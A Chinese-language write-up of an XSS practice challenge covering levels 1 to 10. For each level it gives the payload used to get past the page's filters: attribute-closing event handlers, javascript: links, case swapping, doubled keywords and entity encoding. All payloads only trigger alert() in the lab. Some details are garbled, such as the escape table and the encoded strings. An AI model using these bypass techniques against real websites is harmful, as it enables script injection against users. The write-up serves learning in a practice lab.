我的XSS挑战之旅
Level-1
发现参数name的内容是一个注入点,并且没有任何过滤
Payload: ?name=test<script>alert('xss')</script>
Level-2
和第一关差不多,输入
<script>alert('xxs')</script>
没有出现弹窗
查看一下源代码
直接用双引号闭合value,输入
"><script>alert('xxs')</script>
Level-3
查看源码,value为单引号闭合
输入
<script>alert('xxs')</script>
查看源代码,输入点在value属性里面
发现<
和>
被转义了成了&g
t和<
在搜素框中输入
xss' οnfοcus=javascript:alert("xss") '
我们用javascript里边的onfocus事件
,并且使用'
把前面的value给闭合掉。
HTML转义常用字符
字符 | 十进制 | 转义字符 |
---|---|---|
" | " | " |
& | & | &; |
< | < | &It; |
> | > | > ; |
不断开空格(non-breaking space) |  ; | |
Level-4
在搜索框中输入
<script>alert('xxs')</script>
查看源码,输入点在value属性里面
发现过滤了<
和>
,用双引号"
把value闭合。
继续在搜素框中输入
xss" οnfοcus=javascript:alert("xss") "
方法二:
输入
"οnfοcus=alert(1)
闭合了前面的双引号,但是后面多了一个双引号,用//
注释掉,输入
"οnfοcus=alert(1)//
Level-5
在搜索框中输入
<script>alert('xxs')</script>
查看源码
发现script被转义为scr_ipt,使用超链接绕过,在搜素框中输入
"><a href="javascript:alert('xss')">test</a>
然后点击test
Level-6
在搜索框中输入
<script>alert('xxs')</script>
查看源码,和第5关一样,script被转义为scr_ipt
使用超链接绕过,发现不行
"><a href="javascript:alert('xss')">test</a>
查看源码,href被转义成了hr_ef
百度了一下,还能使用大小写进行绕过,将href写成HREF
"><a HREF="javascript:alert('xss')">test</a>
再点击test
Level-7
在搜索框中输入,查看源码,发现script
被过滤
<script>alert('xxs')</script>
使用超链接绕过,不行
"><a href="javascript:alert('xss')">test</a>
大小写进行绕过,将href写成HREF,还是不行
"><a HREF="javascript:alert('xss')">test</a>
再使用双写进行绕过,双写href和javascript
"><a hrhrefef="javasscriptcript:alert('xss')">test</a>
成功
Level-8
在输入框中输入
javascript:alert('xss')
发现javascript
被加上了下划线,变成了javascr_ipt
用Html实体编码绕过
HTML实体编码指的就是用unicode编码来代替关键字符或关键符号,&、#、;不能被过滤。
将javascript的script进行实体编码,unicode编码后的结果为javascript
输入
javascript:alert('xss')
点击友情链接
成功
Level-9
还是script被过滤,直接用上一关的payload
javascript:alert('xss')
提示连接不合法,要有http://
关键字
添加的url有验证合法性,没有带http://
则不合法,
方法一:
把http://
放在alert
里面
javascript:alert('http://www.baidu.com')
方法二:
把http://
放在注释//
后面
javascript:alert('xss')//http://www.baidu.com
点击友情链接,成功
Level-10
到了第10关页面页面,没有输入框了
构造payload
Payload:?keyword=javascript:alert('xss')
查看源码发现了几个input
标签
不知道怎么办了,看了下大师傅们的wp,构造payload
Payload: ?keyword=&t_link=" type="text" 1&t_history=" type="text" 2&t_sort =" type="text" 3
payload后,还是没有变化
这是大师傅们payload后的代码
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value=""text"" type="hidden">
t_sort是注入点,直接注入
Payload: ?keyword = test&t_sort="type="text" onclick = "alert("xss")
一脸茫然,还是不知道怎么回事